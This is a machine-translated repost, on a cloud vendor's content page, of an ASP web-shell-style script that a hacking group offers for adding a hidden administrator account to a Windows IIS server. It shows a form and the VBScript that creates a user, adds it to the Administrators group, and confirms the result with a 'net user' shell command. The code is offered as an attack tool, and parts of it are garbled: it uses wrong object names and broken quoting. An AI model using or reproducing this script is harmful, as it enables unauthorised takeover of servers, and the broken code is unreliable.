ASP code Add Super User-cold Dragon Network produced

Source: Internet
Author: User

Users who successfully added the Administrators group under user permissions
Anyway, the code is right, but rarely successful, specifically to see luck.


<form action= "useradd.asp" method=post>
Users: <input name= "username" type= "text" value= "kevin1986" ><br>
Password: <input name= "passwd" type= "password" ><br>
<input type= "Submit" value= "Add" >
</form>

<% @codepage =936%>
<%on Error Resume Next
If Request.ServerVariables ("REMOTE_ADDR") <> "127.0.0.1" Then
Response.Write "IP!s n0t Right"
Else
If Request ("username") <> "then
Username=request ("username")
Passwd=request ("passwd")
Response.expires=0
Session.timeout=50
server.scripttimeout=3000
Set Lp=server.createobject ("Wscript.Network")
oz= "winnt://" &lp.computername
Set Ob=getobject (oz)
Set oe=getobject (oz& "/administrators,group")
Set Od=ob. Create ("User", username)
mdl SetPassword passwd
mdl SetInfo
Oe. ADD oz& "/" &username
If Err Then
Response.Write "Ah ~ ~ Today you still do not buy 6+1 ... Save 2 yuan to buy a bottle of Coke ... "
Else
If InStr (Server.CreateObject ("Wscript.Shell"). EXEC ("cmd.exe/c net User" &username.stdout.readall), "Last Login") >0 Then
Response.Write "There's no mistake, but it doesn't seem to be a success." You must be depressed.
Else
Response.Write "Omg!" &username& "The account has become!" This is an unknown loophole. 5,000,000RMB is yours.
End If
End If
Else
Response.Write "Please enter user name"
End If
End If
%>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.